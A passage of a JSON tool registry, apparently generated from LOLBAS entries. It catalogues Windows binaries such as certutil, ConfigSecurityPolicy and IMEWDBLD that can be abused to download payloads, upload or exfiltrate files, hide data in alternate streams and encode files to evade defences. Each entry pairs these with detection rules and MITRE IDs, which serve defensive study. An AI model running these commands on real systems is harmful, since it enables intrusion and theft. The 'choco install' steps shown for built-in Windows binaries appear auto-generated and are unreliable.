      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# certutil\n\ncertutil is a Windows LOLBin. Windows binary used for handling certificates Located at: C:\\Windows\\System32\\certutil.exe; C:\\Windows\\SysWOW64\\certutil.exe.\n",
    "_source": "certutil.md",
    "allowed-tools": [
      "certutil"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "network.transfer.download",
      "system.file.alternate-data-stream",
      "system.file.encode",
      "system.file.decode"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows binary used for handling certificates Located at: C:\\Windows\\System32\\certutil.exe; C:\\Windows\\SysWOW64\\certutil.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml"
      },
      {
        "type": "ioc",
        "description": "Certutil.exe creating new files on disk"
      },
      {
        "type": "ioc",
        "description": "Useragent Microsoft-CryptoAPI/10.0"
      },
      {
        "type": "ioc",
        "description": "Useragent CertUtil URL Agent"
      }
    ],
    "examples": [
      {
        "description": "Download and save an executable to disk in the current folder. (Download file from Internet)",
        "command": "certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}"
      },
      {
        "description": "Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\\Microsoft\\CryptnetUrlCache\\Content\\<hash>` when not. (Download file from Internet)",
        "command": "certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}"
      },
      {
        "description": "Download and save a .ps1 file to an Alternate Data Stream (ADS). (Download file from Internet and save it in an NTFS Alternate Data Stream)",
        "command": "certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt"
      },
      {
        "description": "Download and save an executable to `%LOCALAPPDATA%low\\Microsoft\\CryptnetUrlCache\\Content\\<hash>`. (Download file from Internet)",
        "command": "certutil.exe -URL {REMOTEURL:.exe}"
      },
      {
        "description": "Command to encode a file using Base64 (Encode files to evade defensive measures)",
        "command": "certutil -encode {PATH} {PATH:.base64}"
      },
      {
        "description": "Command to decode a Base64 encoded file. (Decode files to evade defensive measures)",
        "command": "certutil -decode {PATH:.base64} {PATH}"
      },
      {
        "description": "Command to decode a hexadecimal-encoded file. (Decode files to evade defensive measures)",
        "command": "certutil -decodehex {PATH:.hex} {PATH}"
      }
    ],
    "execution": {
      "template": "certutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-download-certutil",
    "install": [
      {
        "method": "choco",
        "package_name": "certutil",
        "commands": [
          "choco install certutil"
        ]
      }
    ],
    "mitre_ids": [
      "T1105",
      "T1564.004",
      "T1027.013",
      "T1140"
    ],
    "name": "certutil",
    "namespace": "windows:download:certutil",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "984380793383370752",
        "url": "https://twitter.com/Moriarty_Meng/status/984380793383370752"
      },
      {
        "label": "620107926288515072",
        "url": "https://twitter.com/mattifestation/status/620107926288515072"
      },
      {
        "label": "1087685529016193025",
        "url": "https://twitter.com/egre55/status/1087685529016193025"
      },
      {
        "label": "",
        "url": "https://www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# cmdl32\n\ncmdl32 is a Windows LOLBin. Microsoft Connection Manager Auto-Download Located at: C:\\Windows\\System32\\cmdl32.exe; C:\\Windows\\SysWOW64\\cmdl32.exe.\n",
    "_source": "cmdl32.md",
    "allowed-tools": [
      "cmdl32"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Elliot Killick",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Connection Manager Auto-Download Located at: C:\\Windows\\System32\\cmdl32.exe; C:\\Windows\\SysWOW64\\cmdl32.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_cmdl32.yml"
      },
      {
        "type": "ioc",
        "description": "Reports of downloading from suspicious URLs in %TMP%\\config.log"
      },
      {
        "type": "ioc",
        "description": "Useragent Microsoft(R) Connection Manager Vpn File Update"
      }
    ],
    "examples": [
      {
        "description": "Download a file from the web address specified in the configuration file. The downloaded file will be in %TMP% under the name VPNXXXX.tmp where \"X\" denotes a random number or letter. (Download file from Internet)",
        "command": "cmdl32 /vpn /lan %cd%\\config"
      }
    ],
    "execution": {
      "template": "cmdl32",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-download-cmdl32",
    "install": [
      {
        "method": "choco",
        "package_name": "cmdl32",
        "commands": [
          "choco install cmdl32"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "cmdl32",
    "namespace": "windows:download:cmdl32",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "151",
        "url": "https://github.com/LOLBAS-Project/LOLBAS/pull/151"
      },
      {
        "label": "1455897435063074824",
        "url": "https://twitter.com/ElliotKillick/status/1455897435063074824"
      },
      {
        "label": "",
        "url": "https://elliotonsecurity.com/living-off-the-land-reverse-engineering-methodology-plus-tips-and-tricks-cmdl32-case-study/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# configsecuritypolicy\n\nconfigsecuritypolicy is a Windows LOLBin. Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads. Located at: C:\\Program Files\\Windows Defender\\ConfigSecurityPolicy.exe; C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.9-0\\ConfigSecurityPolicy.exe.\n",
    "_source": "configsecuritypolicy.md",
    "allowed-tools": [
      "configsecuritypolicy"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Ialle Teixeira",
    "capabilities": [
      "network.transfer.upload",
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads. Located at: C:\\Program Files\\Windows Defender\\ConfigSecurityPolicy.exe; C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.9-0\\ConfigSecurityPolicy.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml"
      },
      {
        "type": "ioc",
        "description": "ConfigSecurityPolicy storing data into alternate data streams."
      },
      {
        "type": "ioc",
        "description": "Preventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS."
      },
      {
        "type": "ioc",
        "description": "Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe."
      },
      {
        "type": "ioc",
        "description": "User Agent is \"MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\""
      }
    ],
    "examples": [
      {
        "description": "Upload file, credentials or data exfiltration in general (Upload file)",
        "command": "ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}"
      },
      {
        "description": "It will download a remote payload and place it in INetCache. (Downloads payload from remote server)",
        "command": "ConfigSecurityPolicy.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "configsecuritypolicy",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-configsecuritypolicy",
    "install": [
      {
        "method": "choco",
        "package_name": "configsecuritypolicy",
        "commands": [
          "choco install configsecuritypolicy"
        ]
      }
    ],
    "mitre_ids": [
      "T1567",
      "T1105"
    ],
    "name": "configsecuritypolicy",
    "namespace": "windows:download:configsecuritypolicy",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "how-to-switch-workloads",
        "url": "https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-switch-workloads"
      },
      {
        "label": "workloads",
        "url": "https://docs.microsoft.com/en-US/mem/configmgr/comanage/workloads"
      },
      {
        "label": "how-to-monitor",
        "url": "https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-monitor"
      },
      {
        "label": "1302589153570365440?s=20",
        "url": "https://twitter.com/NtSetDefault/status/1302589153570365440?s=20"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# desktopimgdownldr\n\ndesktopimgdownldr is a Windows LOLBin. Windows binary used to configure lockscreen/desktop image Located at: c:\\windows\\system32\\desktopimgdownldr.exe.\n",
    "_source": "desktopimgdownldr.md",
    "allowed-tools": [
      "desktopimgdownldr"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Gal Kristal",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows binary used to configure lockscreen/desktop image Located at: c:\\windows\\system32\\desktopimgdownldr.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml"
      },
      {
        "type": "ioc",
        "description": "desktopimgdownldr.exe that creates non-image file"
      },
      {
        "type": "ioc",
        "description": "Change of HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PersonalizationCSP\\LockScreenImageUrl"
      }
    ],
    "examples": [
      {
        "description": "Downloads the file and sets it as the computer's lockscreen (Download arbitrary files from a web server)",
        "command": "set \"SYSTEMROOT=C:\\Windows\\Temp\" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr"
      }
    ],
    "execution": {
      "template": "desktopimgdownldr",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-download-desktopimgdownldr",
    "install": [
      {
        "method": "choco",
        "package_name": "desktopimgdownldr",
        "commands": [
          "choco install desktopimgdownldr"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "desktopimgdownldr",
    "namespace": "windows:download:desktopimgdownldr",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# devtunnel\n\ndevtunnel is a Windows LOLBin. Binary to enable forwarded ports on windows operating systems. Located at: C:\\Users\\<username>\\AppData\\Local\\Temp\\.net\\devtunnel\\devtunnel.exe; C:\\Users\\<username>\\AppData\\Local\\Temp\\DevTunnels\\devtunnel.exe.\n",
    "_source": "devtunnel.md",
    "allowed-tools": [
      "devtunnel"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Kamran Saifullah",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary to enable forwarded ports on windows operating systems. Located at: C:\\Users\\<username>\\AppData\\Local\\Temp\\.net\\devtunnel\\devtunnel.exe; C:\\Users\\<username>\\AppData\\Local\\Temp\\DevTunnels\\devtunnel.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/dns_query/dns_query_win_devtunnels_communication.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/network_connection/net_connection_win_domain_devtunnels.yml"
      },
      {
        "type": "ioc",
        "description": "devtunnel.exe binary spawned"
      },
      {
        "type": "ioc",
        "description": "*.devtunnels.ms"
      },
      {
        "type": "ioc",
        "description": "*.*.devtunnels.ms"
      },
      {
        "type": "other",
        "url": "https://cydefops.com/vscode-data-exfiltration"
      }
    ],
    "examples": [
      {
        "description": "Enabling a forwarded port for locally hosted service at port 8080 to be exposed on the internet. (Download Files, Upload Files, Data Exfiltration)",
        "command": "devtunnel.exe host -p 8080"
      }
    ],
    "execution": {
      "template": "devtunnel",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-devtunnel",
    "install": [
      {
        "method": "choco",
        "package_name": "devtunnel",
        "commands": [
          "choco install devtunnel"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "devtunnel",
    "namespace": "windows:download:devtunnel",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "port-forwarding",
        "url": "https://code.visualstudio.com/docs/editor/port-forwarding"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ecmangen\n\necmangen is a Windows LOLBin. Command-line tool for managing certificates in Microsoft Exchange Server. Located at: C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\<version>\\Bin\\ECMangen.exe; C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\<version>\\Bin\\x64\\ECMangen.exe; C:\\Program Files\\Microsoft\\Exchange Server\\<version>\\Bin\\ECMangen.exe.\n",
    "_source": "ecmangen.md",
    "allowed-tools": [
      "ecmangen"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Command-line tool for managing certificates in Microsoft Exchange Server. Located at: C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\<version>\\Bin\\ECMangen.exe; C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\<version>\\Bin\\x64\\ECMangen.exe; C:\\Program Files\\Microsoft\\Exchange Server\\<version>\\Bin\\ECMangen.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "URL on a ECMangen command line"
      },
      {
        "type": "ioc",
        "description": "ECMangen making unexpected network connections or DNS requests"
      }
    ],
    "examples": [
      {
        "description": "Downloads payload from remote server (It will download a remote payload and place it in INetCache)",
        "command": "ECMangen.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "ecmangen",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-download-ecmangen",
    "install": [
      {
        "method": "choco",
        "package_name": "ecmangen",
        "commands": [
          "choco install ecmangen"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "ecmangen",
    "namespace": "windows:download:ecmangen",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# excel\n\nexcel is a Windows LOLBin. Microsoft Office binary Located at: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\Excel.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\Excel.exe; C:\\Program Files (x86)\\Microsoft Office\\Office16\\Excel.exe.\n",
    "_source": "excel.md",
    "allowed-tools": [
      "excel"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Reegun J (OCBC Bank)",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Office binary Located at: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\Excel.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\Excel.exe; C:\\Program Files (x86)\\Microsoft Office\\Office16\\Excel.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_office.yml"
      },
      {
        "type": "ioc",
        "description": "Suspicious Office application Internet/network traffic"
      }
    ],
    "examples": [
      {
        "description": "Downloads payload from remote server (It will download a remote payload and place it in INetCache.)",
        "command": "Excel.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "excel",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "windows-download-excel",
    "install": [
      {
        "method": "choco",
        "package_name": "excel",
        "commands": [
          "choco install excel"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "excel",
    "namespace": "windows:download:excel",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1150032506504151040",
        "url": "https://twitter.com/reegun21/status/1150032506504151040"
      },
      {
        "label": "unsanitized-file-validation-leads-to-malicious-pay",
        "url": "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# gfxdownloadwrapper\n\ngfxdownloadwrapper is a Windows LOLBin. Remote file download used by the Intel Graphics Control Panel, receives as first parameter a URL and a destination file path. Located at: c:\\windows\\system32\\driverstore\\filerepository\\64kb6472.inf_amd64_3daef03bbe98572b\\GfxDownloadWrapper.exe; c:\\windows\\system32\\driverstore\\filerepository\\cui_comp.inf_amd64_0e9c57ae3396e055\\GfxDownloadWrapper.exe; c:\\windows\\system32\\driverstore\\filerepository\\cui_comp.inf_amd64_209bd95d56b1ac2d\\GfxDownloadWrapper.exe.\n",
    "_source": "gfxdownloadwrapper.md",
    "allowed-tools": [
      "gfxdownloadwrapper"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Jesus Galvez",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Remote file download used by the Intel Graphics Control Panel, receives as first parameter a URL and a destination file path. Located at: c:\\windows\\system32\\driverstore\\filerepository\\64kb6472.inf_amd64_3daef03bbe98572b\\GfxDownloadWrapper.exe; c:\\windows\\system32\\driverstore\\filerepository\\cui_comp.inf_amd64_0e9c57ae3396e055\\GfxDownloadWrapper.exe; c:\\windows\\system32\\driverstore\\filerepository\\cui_comp.inf_amd64_209bd95d56b1ac2d\\GfxDownloadWrapper.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_gfxdownloadwrapper_file_download.yml"
      },
      {
        "type": "ioc",
        "description": "Usually GfxDownloadWrapper downloads a JSON file from https://gameplayapi.intel.com."
      }
    ],
    "examples": [
      {
        "description": "GfxDownloadWrapper.exe downloads the content that returns URL and writes it to the file DESTINATION FILE PATH. The binary is signed by \"Microsoft Windows Hardware\", \"Compatibility Publisher\", \"Microsoft Windows Third Party Component CA 2012\", \"Microsoft Time-Stamp PCA 2010\", \"Microsoft Time-Stamp Service\". (Download file from internet)",
        "command": "C:\\Windows\\System32\\DriverStore\\FileRepository\\igdlh64.inf_amd64_[0-9]+\\GfxDownloadWrapper.exe \"URL\" \"DESTINATION FILE\""
      }
    ],
    "execution": {
      "template": "gfxdownloadwrapper",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-download-gfxdownloadwrapper",
    "install": [
      {
        "method": "choco",
        "package_name": "gfxdownloadwrapper",
        "commands": [
          "choco install gfxdownloadwrapper"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "gfxdownloadwrapper",
    "namespace": "windows:download:gfxdownloadwrapper",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://www.sothis.tech/author/jgalvez/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# imewdbld\n\nimewdbld is a Windows LOLBin. Microsoft IME Open Extended Dictionary Module Located at: C:\\Windows\\System32\\IME\\SHARED\\IMEWDBLD.exe.\n",
    "_source": "imewdbld.md",
    "allowed-tools": [
      "imewdbld"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Wade Hickey",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft IME Open Extended Dictionary Module Located at: C:\\Windows\\System32\\IME\\SHARED\\IMEWDBLD.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/network_connection/net_connection_win_imewdbld.yml"
      }
    ],
    "examples": [
      {
        "description": "IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache. (Download file from Internet)",
        "command": "C:\\Windows\\System32\\IME\\SHARED\\IMEWDBLD.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "imewdbld",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-imewdbld",
    "install": [
      {
        "method": "choco",
        "package_name": "imewdbld",
        "commands": [
          "choco install imewdbld"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "imewdbld",
    "namespace": "windows:download:imewdbld",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1367493406835040265",
        "url": "https://twitter.com/notwhickey/status/1367493406835040265"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
